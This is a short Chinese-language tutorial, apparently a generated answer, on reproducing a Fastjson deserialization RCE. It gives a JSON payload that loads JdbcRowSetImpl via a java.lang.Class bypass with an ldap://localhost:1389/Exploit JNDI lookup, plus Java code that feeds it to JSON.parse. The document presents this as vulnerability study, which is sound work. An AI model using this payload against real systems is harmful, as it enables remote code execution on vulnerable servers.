fastjson漏洞复现整理

根据提供的引用内容，Fastjson存在多个反序列化远程命令执行漏洞。为了演示Fastjson漏洞的复现，以下是一个简单的示例：

1. 首先，我们需要准备一个恶意的JSON字符串，用于触发Fastjson的反序列化漏洞。假设我们的恶意JSON字符串如下：

{
  "name": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "xxxx": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/Exploit",
    "autoCommit": true
  }
}

2. 接下来，我们可以使用Java代码来复现Fastjson的漏洞。假设我们的Java代码如下：

import com.alibaba.fastjson.JSON;

public class FastjsonVulnerabilityDemo {
    public static void main(String[] args) {
        String json = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"xxxx\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}}";
        JSON.parse(json);
    }
}

3. 运行上述Java代码，Fastjson将解析恶意的JSON字符串，并触发反序列化漏洞。这可能导致远程命令执行或其他安全问题。

请注意，上述示例仅用于演示Fastjson的漏洞复现过程。在实际应用中，为了防止Fastjson漏洞的利用，建议及时升级Fastjson版本或采取其他安全措施。